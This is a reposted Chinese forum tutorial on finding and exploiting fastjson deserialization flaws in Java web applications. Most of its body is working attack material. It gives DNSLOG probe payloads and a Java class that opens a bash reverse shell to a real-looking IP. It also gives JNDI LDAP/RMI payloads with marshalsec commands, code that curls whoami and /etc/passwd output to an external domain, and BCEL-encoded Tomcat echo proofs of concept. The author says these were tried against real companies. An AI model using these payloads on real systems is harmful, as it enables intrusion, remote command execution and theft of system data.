安全矩阵

用户名  找回密码
 立即注册
帖子
查看: 2485|回复: 0

实战 | fastjson 漏洞的发现与测试

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-12-3 20:34:29 | 显示全部楼层 |阅读模式
原文链接:实战 | fastjson 漏洞的发现与测试

Fastjson 是阿里巴巴公司开源的一款 json 解析器,其性能优越,被广泛应用于各大厂商的 Java 项目中。fastjson 于 1.2.24 版本后增加了反序列化白名单,而在 1.2.48 以前的版本中,攻击者可以利用特殊构造的 json 字符串绕过白名单检测,成功执行任意命令。
Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。Fastjson 可以操作任何 Java 对象,即使是一些采集存在的没有源码的对象。
如何发现存在 Fastjson 漏洞的网站从 fastjson 漏洞形成的原因看,是目标网站在解析 json 时,未对 json 内容进行验证,直接将 json 解析成 java 对象并执行,这就给了攻击者可乘之机,构造对应的 payload ,让系统执行,然后达到代码执行,甚至命令执行的目的。
所以寻找存在 Fastjson 漏洞的方法,就是先找到参数中内容是 json 数据的接口,然后使用构造好的测试 payload 进行提交验证,检测原理跟 sql 注入差不多,首先找到参数提交的地方,然后再用 payload 尝试。
xray 高级版可以针对 fastjson 进行检测,需要依赖反连平台,具体配置可参考官方配置文档:
https://docs.xray.cool/#/configration/reverse
扫描结果如图

点击该结果,会有详情,及测试数据包:

利用 DNSLOG 验证漏洞基于以上目标,用 dnslog 来测试,我使用的平台是 ceye.io,域名为:in0i3v.ceye.io
方法一:利用 java.net.Inet [4 | 6] 地址
{"@type":"java.net.Inet4Address","val":"in0i3v.ceye.io"}{"@type":"java.net.Inet6Address","val":"in0i3v.ceye.io"}
方法二:利用 java.net.InetSocketAddress

{"@type":"java.net.InetSocketAddress"{"address":,"val":"in0i3v.ceye.io"}}
方法三:利用 java.net.URL

{{"@type":"java.net.URL","val":"http://in0i3v.ceye.io"}:"x"}
最终测试结果如图:

反弹 SHELL(目标 java 版本过高,反弹 shell 不成功)基于 RMI 的利用方式,JDK 版本限制在 6u132、7u131、8u121 之前,在 8u122 及之后的版本中,加入了反序列化白名单的机制,关闭了 RMI 远程加载代码
基于 LDAP 的利用方式,JDK 版本限制于 6u211、7u201、8u191、11.0.1 之前,在 8u191 版本中,Oracle 对LDAP 设置限制,发布了 CVE-2018-3149,关闭 JNDI 远程类加载
我使用的服务器地址是:103.80.27.165,将下面的 paylaod 保存为 Exploit.java,反弹 shell java payload:

  1. # Exploit.java
  2. import java.io.BufferedReader;
  3. import java.io.InputStream;
  4. import java.io.InputStreamReader;
  5. public class Exploit{
  6.     public Exploit() throws Exception {
  7.         Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/103.80.27.165/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"});
  8.         InputStream is = p.getInputStream();
  9.         BufferedReader reader = new BufferedReader(new InputStreamReader(is));
  10.         String line;
  11.         while((line = reader.readLine()) != null) {
  12.             System.out.println(line);
  13.         }
  14.         p.waitFor();
  15.         is.close();
  16.         reader.close();
  17.         p.destroy();
  18.     }
  19.     public static void main(String[] args) throws Exception {
  20.     }
  21. }
复制代码

在 Exploit.class 的目录下,启动 WEB 服务:
python3 -m http.server 8080 或者 python -m SimpleHTTPServer 8080
再开一个窗口,监听 8888 端口:
nc -lvvp 8888
准备好工具 marshalsec(也可以找编译好的版本),项目地址:
https://github.com/mbechler/marshalsec
利用 LDAP 服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://103.80.27.165:8080/#Exploit 1389
利用 payload:

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://103.80.27.165:1389/Exploit","autoCommit":true}}}
利用 RMI 服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://103.80.27.165:8080/#Exploit 9999

另外一款一键反弹的版本
工具地址(这位师傅写的,一键起服务和生成恶意代码整个 rmi+class 文件的 jar 包):
https://github.com/wyzxxz/fastjson_rce_tool
第一步:只需要在自己的服务器上启动

java -cp fastjson_tool.jar fastjson.HRMIServer 0.0.0.0 9999 "bash=bash -i >&/dev/tcp/103.80.27.165/8888 0>&1"

第二步:发送 payload

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://103.80.27.165:9999/Object","autoCommit":true}}}

利用 dns 来传输 whoami 命令执行之后的结果
​Exploit 脚本内容:
  1. import java.io.BufferedInputStream;
  2. import java.io.BufferedReader;
  3. import java.io.InputStreamReader;
  4. public class Exploit {
  5.     public static String exec(String cmd) throws Exception {
  6.         String sb = "";
  7.         BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
  8.         BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
  9.         String lineStr;
  10.         while ((lineStr = inBr.readLine()) != null)
  11.             sb += lineStr + "\n";
  12.         inBr.close();
  13.         in.close();
  14.         return sb;
  15.     }
  16.     public Exploit() throws Exception {
  17.         String result = "";
  18.         result = exec("whoami");
  19.         String cmd = "curl http://in0i3v.ceye.io/" + result;
  20.         throw new Exception(exec(cmd));
  21.     }
  22.     public static void main(String[] args) throws Exception {
  23.         String result = "";
  24.         result = exec("whoami");
  25.         String cmd = "curl http://in0i3v.ceye.io/" + result;
  26.         throw new Exception(exec(cmd));
  27.     }
  28. }
复制代码
其他命令结果编码后传输的版本(解决 反弹 shell 出不来的问题):
  1. import java.io.BufferedInputStream;
  2. import java.io.BufferedReader;
  3. import java.io.ByteArrayOutputStream;
  4. import java.io.InputStreamReader;
  5. public class Exploit {
  6.     //转化字符串为十六进制编码
  7.     public static String toHexString(String s) {
  8.         String str = "";
  9.         for (int i = 0; i < s.length(); i++) {
  10.             int ch = (int) s.charAt(i);
  11.             String s4 = Integer.toHexString(ch);
  12.             str = str + s4;
  13.         }
  14.         return str;
  15.     }
  16.     // 转化十六进制编码为字符串
  17.     public static String toStringHex1(String s) {
  18.         byte[] baKeyword = new byte[s.length() / 2];
  19.         for (int i = 0; i < baKeyword.length; i++) {
  20.             try {
  21.                 baKeyword[i] = (byte) (0xff & Integer.parseInt(s.substring(
  22.                         i * 2, i * 2 + 2), 16));
  23.             } catch (Exception e) {
  24.                 e.printStackTrace();
  25.             }
  26.         }
  27.         try {
  28.             s = new String(baKeyword, "utf-8");// UTF-16le:Not
  29.         } catch (Exception e1) {
  30.             e1.printStackTrace();
  31.         }
  32.         return s;
  33.     }
  34.     // 转化十六进制编码为字符串
  35.     public static String toStringHex2(String s) {
  36.         byte[] baKeyword = new byte[s.length() / 2];
  37.         for (int i = 0; i < baKeyword.length; i++) {
  38.             try {
  39.                 baKeyword[i] = (byte) (0xff & Integer.parseInt(s.substring(
  40.                         i * 2, i * 2 + 2), 16));
  41.             } catch (Exception e) {
  42.                 e.printStackTrace();
  43.             }
  44.         }
  45.         try {
  46.             s = new String(baKeyword, "utf-8");// UTF-16le:Not
  47.         } catch (Exception e1) {
  48.             e1.printStackTrace();
  49.         }
  50.         return s;
  51.     }
  52.     public static void main(String[] args) {
  53.         System.out.println(encode("中文"));
  54.         System.out.println(decode(encode("中文")));
  55.     }
  56.     /*
  57.      * 16进制数字字符集
  58.      */
  59.     private static String hexString = "0123456789ABCDEF";
  60.     /*
  61.      * 将字符串编码成16进制数字,适用于所有字符(包括中文)
  62.      */
  63.     public static String encode(String str) {
  64.         // 根据默认编码获取字节数组
  65.         byte[] bytes = str.getBytes();
  66.         StringBuilder sb = new StringBuilder(bytes.length * 2);
  67.         // 将字节数组中每个字节拆解成2位16进制整数
  68.         for (int i = 0; i < bytes.length; i++) {
  69.             sb.append(hexString.charAt((bytes[i] & 0xf0) >> 4));
  70.             sb.append(hexString.charAt((bytes[i] & 0x0f) >> 0));
  71.         }
  72.         return sb.toString();
  73.     }
  74.     /*
  75.      * 将16进制数字解码成字符串,适用于所有字符(包括中文)
  76.      */
  77.     public static String decode(String bytes) {
  78.         ByteArrayOutputStream baos = new ByteArrayOutputStream(
  79.                 bytes.length() / 2);
  80.         // 将每2位16进制整数组装成一个字节
  81.         for (int i = 0; i < bytes.length(); i += 2)
  82.             baos.write((hexString.indexOf(bytes.charAt(i)) << 4 | hexString
  83.                     .indexOf(bytes.charAt(i + 1))));
  84.         return new String(baos.toByteArray());
  85.     }
  86.     public static String exec(String cmd) throws Exception {
  87.         String sb = "";
  88.         BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
  89.         BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
  90.         String lineStr;
  91.         while ((lineStr = inBr.readLine()) != null)
  92.             sb += lineStr + "\n";
  93.         inBr.close();
  94.         in.close();
  95.         return sb;
  96.     }
  97.     public Exploit() throws Exception {
  98.         String result = "";
  99.         result = encode(exec("cat /etc/passwd"));
  100.         String cmd = String.format("curl -d "%s" http://in0i3v.ceye.io/ ", result);
  101.         throw new Exception(exec(cmd));
  102.     }
  103. }
复制代码

利用 TomcatEcho 回显命令参考项目:
https://github.com/depycode/fastjson-local-echo
适用场景:
fastjson <= 1.2.24
1.2.33 <= fastjson <= 1.2.47
jdk <= 8u251
存在 tomcat-dbcp
fastjson <= 1.2.24 poc
  1. POST /json HTTP/1.1
  2. Host: 127.0.0.1:9092
  3. Content-Type: application/json
  4. cmd: ver && echo fastjson
  5. Content-Length: 3327
  6. {
  7.     {
  8.         "@type": "com.alibaba.fastjson.JSONObject",
  9.         "x":{
  10.                 "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
  11.                 "driverClassLoader": {
  12.                     "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
  13.                 },
  14.                 "driverClassName": "$BCEL$l$8b$I$A$A$A$A$A$A$A$8dV$cb$5b$TW$U$ff$5dH27$c3$m$g$40$Z$d1$wX5$a0$q$7d$d8V$81Zi$c4b$F$b4F$a5$f8j$t$c3$85$MLf$e2$cc$E$b1$ef$f7$c3$be$ec$a6$df$d7u$X$ae$ddD$bf$f6$d3$af$eb$ba$ea$b6$ab$ae$ba$ea$7fP$7bnf$C$89$d0$afeq$ee$bd$e7$fe$ce$ebw$ce$9d$f0$cb$df$3f$3e$Ap$I$df$aaHbX$c5$IF$a5x$9e$e3$a8$8a$Xp$8ccL$c1$8b$w$U$e4$U$iW1$8e$T$i$_qLp$9c$e4x$99$e3$94$bc$9b$e4$98$e2$98VpZ$o$cep$bc$c2qVE$k$e7Tt$e2$3c$c7$F$b9$cep$bc$ca1$cbqQ$G$bb$c4qY$c1$V$VW$f1$9a$U$af$ab0PP$b1$h$s$c7$9c$5c$85$U$f3$i$L$iE$F$96$82E$86$c4$a8$e5X$c1Q$86$d6$f4$c0$F$86X$ce$9d$T$M$j$93$96$p$a6$x$a5$82$f0$ce$Z$F$9b4$7c$d4$b4$pd$7b$3e0$cc$a5$v$a3$5c$bb$a2j$U$yQ$z$94$ac$C$9b$fc2$a8y$b7$e2$99$e2$84$r$z$3b$f2e$cfr$W$c6$cd$a2$9bY4$96$N$N$H1$a4$a0$a4$c1$81$ab$a1$8ck$M$a3$ae$b7$90$f1k$b8y$cf$u$89$eb$ae$b7$94$b9$K$Z$d3u$C$b1$Sd$3cq$ad$o$fc$ms6$5cs$a1z$c2$b5$e7$84$a7$c0$d3$e0$p$60$e8Z$QA$84$Y$L$C$cf$wT$C$e1S$G2l$d66$9c$85l$ce6$7c_C$F$cb$M$9b$d7$d4$a7$L$8b$c2$M$a8$O$N$d7$b1$c2p$ec$ff$e6$93$X$de$b2$bda$d0$b6Z$7e$d9u$7c$oA$5d$cb$8ca$a7$M$bc$92$f1C$db5$lup$92$c03$9e$V$I$aa$eb$86$ccto$b3A1$I$ca$99$J$S$cd$d1C$c3$Ja$Q$tM$d5$e5$DY$88$867$f0$s$f5$d9$y$cd1$u$ae$9fq$a80$Foix$h$efhx$X$ef$d1$e5$cc$c9i$N$ef$e3$D$86$96$acI$b0l$c1r$b2$7e$91$8eC$a6$86$P$f1$R$e9$q$z$81$ed0l$a9$85$a8$E$96$9d$cd$9b$86$e3$c8V$7c$ac$e1$T$7c$aa$e13$7c$ae$e0$a6$86$_$f0$a5l$f8W$e4$e1$f2$98$86$af$f1$8d$86$5b2T$7c$de$aeH$c7q$d3ve$d1$9dk$f9$8e$af$98$a2$iX$85$e85$ddRv$de$f0$83E$dfu$b2$cb$V$8a$b4$3aM$M$3dk6$9e$98$b7$a9$85$d9$v$R$U$5d$w$b0$f3$d2$e4$a3$E$8c4$91r$ae$e8$RS4$cdf$c5$f3$84$T$d4$cf$5d$e9$81$c9GQd$d9M$d4FSW$9b$a1I7$a4Yo$827$5cI$9b$N$_$a8M6mj$gjmz$7d$9e$eb$3c$8e$84$ad$ad$d7vl$D$9bK$ebl$g$bd4$b3C$ee$S$96$b3$ec$R$edG$g$7d$85$cf$a0$c9W$a4$gX$af$a2$feSN$c7$85i$h$9e$98$ab$e7$d6$ee$8b$60$cc4$85$ef$5b$b5$efF$y$7dQ$7eW$g$a7$f1$86$l$88R$f8$40$cexnYx$c1$N$86$7d$ff$c1$c3j$L$db$C$f7$7c$99$8cr$86$9c$9a$e6n$ad$82$b8$7c$a7$86$e5$Q$c1$bd$8d$8esE$c3$cb$cb$d7$e2$98bd$e0$o$Be$5b$c3Nt$ae$ef$e4H$7d$c6k$aa$b3$V$t$b0J$f5$c7$5c$3ft7$99Ej2$8c$89$VA$_$u$9d$de$60$Q$h$z$88$C$c9Vs$a8H$c9$b0$89B$9dt$ca$95$80$y$85A$acm$ab$87$b3$dcl$c3$F$99$f7$a47$bc$90$eck$V_$i$X$b6U$92$df$U$86$fd$ff$ceu$e3c$96E84$ef$e8$c3$B$fa$7d$91$7f$z$60$f2$ebM2C$a7$9d$b42Z$e3$83w$c1$ee$d0$86$nK2QS$s$c0$f1D$j$da$d2O$O$da$Ip$f5$kZ$aahM$c5$aa$88$9f$gL$rZ$efC$a9$82O$k$60$b4KV$a1NE$80$b6$Q$a0$d5$B$83$a9$f6h$3b$7d$e0$60$84$j$8e$N$adn$e3$91$dd$s$b2Ku$84$d0$cd$c3$89H$bbEjS1$d2$ce$b6$a6$3a$f3$f2J$d1$VJ$a2KO$84R$8f$d5$3dq$5d$d1$e3$EM$S$b4$9b$a0$ea$cf$e8$iN$s$ee$93TS$5b$efa$5b$V$3d$v$bd$8a$ed$df$p$a5$ab$S$a3$ab$b1To$fe6$3a$e4qG$ed$b8$93d$5cO$e6u$5e$c5c$a9$5d$8d$91u$k$3a$ff$J$bbg$ef$a1OW$ab$e8$afb$cf$5d$3c$9e$da$5b$c5$be$w$f6$cb$a03$a1e$3a$aaD$e7Qz$91$7e$60$9d$fe6b$a7$eeH$e6$d9$y$bb$8cAj$95$ec$85$83$5e$92IhP$b1$8d$3a$d0G$bb$n$b4$e306$n$87$OLc3f$b1$F$R$b8I$ffR$dcB$X$beC7$7e$c0VP$a9x$80$k$fc$K$j$bfa$3b$7e$c7$O$fcAM$ff$T$bb$f0$Xv$b3$B$f4$b11$f4$b3Y$ec$a5$88$7b$d8$V$ec$c7$93$U$edY$c4$k$S$b8M$c1S$K$9eVp$a8$c3M$b8$7fF$n$i$da$k$c2$93s$a3$e099$3d$87k$pv$e4$l$3eQL$40E$J$A$A"
  15.         }
  16.     }: "x"
  17. }
复制代码

1.2.33 <= fastjson <= 1.2.47 poc
  1. POST /json HTTP/1.1
  2. Host: 127.0.0.1:9092
  3. Content-Type: application/json
  4. cmd: whoami
  5. Content-Length: 3647
  6. {
  7.     "xx":
  8.     {
  9.         "@type" : "java.lang.Class",
  10.         "val"   : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
  11.     },
  12.     "x" : {
  13.         "name": {
  14.             "@type" : "java.lang.Class",
  15.             "val"   : "com.sun.org.apache.bcel.internal.util.ClassLoader"
  16.         },
  17.         {
  18.             "@type":"com.alibaba.fastjson.JSONObject",
  19.             "c": {
  20.                 "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
  21.                 "driverClassLoader": {
  22.                     "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
  23.                 },
  24.                 "driverClassName":"$BCEL$l$8b$I$A$A$A$A$A$A$A$8dV$cb$5b$TW$U$ff$5dH27$c3$m$g$40$Z$d1$wX5$a0$q$7d$d8V$81Zi$c4b$F$b4F$a5$f8j$t$c3$85$MLf$e2$cc$E$b1$ef$f7$c3$be$ec$a6$df$d7u$X$ae$ddD$bf$f6$d3$af$eb$ba$ea$b6$ab$ae$ba$ea$7fP$7bnf$C$89$d0$afeq$ee$bd$e7$fe$ce$ebw$ce$9d$f0$cb$df$3f$3e$Ap$I$df$aaHbX$c5$IF$a5x$9e$e3$a8$8a$Xp$8ccL$c1$8b$w$U$e4$U$iW1$8e$T$i$_qLp$9c$e4x$99$e3$94$bc$9b$e4$98$e2$98VpZ$o$cep$bc$c2qVE$k$e7Tt$e2$3c$c7$F$b9$cep$bc$ca1$cbqQ$G$bb$c4qY$c1$V$VW$f1$9a$U$af$ab0PP$b1$h$s$c7$9c$5c$85$U$f3$i$L$iE$F$96$82E$86$c4$a8$e5X$c1Q$86$d6$f4$c0$F$86X$ce$9d$T$M$j$93$96$p$a6$x$a5$82$f0$ce$Z$F$9b4$7c$d4$b4$pd$7b$3e0$cc$a5$v$a3$5c$bb$a2j$U$yQ$z$94$ac$C$9b$fc2$a8y$b7$e2$99$e2$84$r$z$3b$f2e$cfr$W$c6$cd$a2$9bY4$96$N$N$H1$a4$a0$a4$c1$81$ab$a1$8ck$M$a3$ae$b7$90$f1k$b8y$cf$u$89$eb$ae$b7$94$b9$K$Z$d3u$C$b1$Sd$3cq$ad$o$fc$ms6$5cs$a1z$c2$b5$e7$84$a7$c0$d3$e0$p$60$e8Z$QA$84$Y$L$C$cf$wT$C$e1S$G2l$d66$9c$85l$ce6$7c_C$F$cb$M$9b$d7$d4$a7$L$8b$c2$M$a8$O$N$d7$b1$c2p$ec$ff$e6$93$X$de$b2$bda$d0$b6Z$7e$d9u$7c$oA$5d$cb$8ca$a7$M$bc$92$f1C$db5$lup$92$c03$9e$V$I$aa$eb$86$ccto$b3A1$I$ca$99$J$S$cd$d1C$c3$Ja$Q$tM$d5$e5$DY$88$867$f0$s$f5$d9$y$cd1$u$ae$9fq$a80$Foix$h$efhx$X$ef$d1$e5$cc$c9i$N$ef$e3$D$86$96$acI$b0l$c1r$b2$7e$91$8eC$a6$86$P$f1$R$e9$q$z$81$ed0l$a9$85$a8$E$96$9d$cd$9b$86$e3$c8V$7c$ac$e1$T$7c$aa$e13$7c$ae$e0$a6$86$_$f0$a5l$f8W$e4$e1$f2$98$86$af$f1$8d$86$5b2T$7c$de$aeH$c7q$d3ve$d1$9dk$f9$8e$af$98$a2$iX$85$e85$ddRv$de$f0$83E$dfu$b2$cb$V$8a$b4$3aM$M$3dk6$9e$98$b7$a9$85$d9$v$R$U$5d$w$b0$f3$d2$e4$a3$E$8c4$91r$ae$e8$RS4$cdf$c5$f3$84$T$d4$cf$5d$e9$81$c9GQd$d9M$d4FSW$9b$a1I7$a4Yo$827$5cI$9b$N$_$a8M6mj$gjmz$7d$9e$eb$3c$8e$84$ad$ad$d7vl$D$9bK$ebl$g$bd4$b3C$ee$S$96$b3$ec$R$edG$g$7d$85$cf$a0$c9W$a4$gX$af$a2$feSN$c7$85i$h$9e$98$ab$e7$d6$ee$8b$60$cc4$85$ef$5b$b5$efF$y$7dQ$7eW$g$a7$f1$86$l$88R$f8$40$cexnYx$c1$N$86$7d$ff$c1$c3j$L$db$C$f7$7c$99$8cr$86$9c$9a$e6n$ad$82$b8$7c$a7$86$e5$Q$c1$bd$8d$8esE$c3$cb$cb$d7$e2$98bd$e0$o$Be$5b$c3Nt$ae$ef$e4H$7d$c6k$aa$b3$V$t$b0J$f5$c7$5c$3ft7$99Ej2$8c$89$VA$_$u$9d$de$60$Q$h$z$88$C$c9Vs$a8H$c9$b0$89B$9dt$ca$95$80$y$85A$acm$ab$87$b3$dcl$c3$F$99$f7$a47$bc$90$eck$V_$i$X$b6U$92$df$U$86$fd$ff$ceu$e3c$96E84$ef$e8$c3$B$fa$7d$91$7f$z$60$f2$ebM2C$a7$9d$b42Z$e3$83w$c1$ee$d0$86$nK2QS$s$c0$f1D$j$da$d2O$O$da$Ip$f5$kZ$aahM$c5$aa$88$9f$gL$rZ$efC$a9$82O$k$60$b4KV$a1NE$80$b6$Q$a0$d5$B$83$a9$f6h$3b$7d$e0$60$84$j$8e$N$adn$e3$91$dd$s$b2Ku$84$d0$cd$c3$89H$bbEjS1$d2$ce$b6$a6$3a$f3$f2J$d1$VJ$a2KO$84R$8f$d5$3dq$5d$d1$e3$EM$S$b4$9b$a0$ea$cf$e8$iN$s$ee$93TS$5b$efa$5b$V$3d$v$bd$8a$ed$df$p$a5$ab$S$a3$ab$b1To$fe6$3a$e4qG$ed$b8$93d$5cO$e6u$5e$c5c$a9$5d$8d$91u$k$3a$ff$J$bbg$ef$a1OW$ab$e8$afb$cf$5d$3c$9e$da$5b$c5$be$w$f6$cb$a03$a1e$3a$aaD$e7Qz$91$7e$60$9d$fe6b$a7$eeH$e6$d9$y$bb$8cAj$95$ec$85$83$5e$92IhP$b1$8d$3a$d0G$bb$n$b4$e306$n$87$OLc3f$b1$F$R$b8I$ffR$dcB$X$beC7$7e$c0VP$a9x$80$k$fc$K$j$bfa$3b$7e$c7$O$fcAM$ff$T$bb$f0$Xv$b3$B$f4$b11$f4$b3Y$ec$a5$88$7b$d8$V$ec$c7$93$U$edY$c4$k$S$b8M$c1S$K$9eVp$a8$c3M$b8$7fF$n$i$da$k$c2$93s$a3$e099$3d$87k$pv$e4$l$3eQL$40E$J$A$A"
  25.             }
  26.         } : "xxx"
  27.     }
  28. }
复制代码

实战效果:

总结本文均在实际的漏洞环境下验证,发现很多企业的存在漏洞,但是反弹 SHELL 都存在问题,猜测原因是目标系统的 java 版本比较高,无法触发远程加载恶意脚本并执行,均可以利用 dnslog 的方式验证成功。





回复

举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-5-9 03:56 , Processed in 0.025000 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表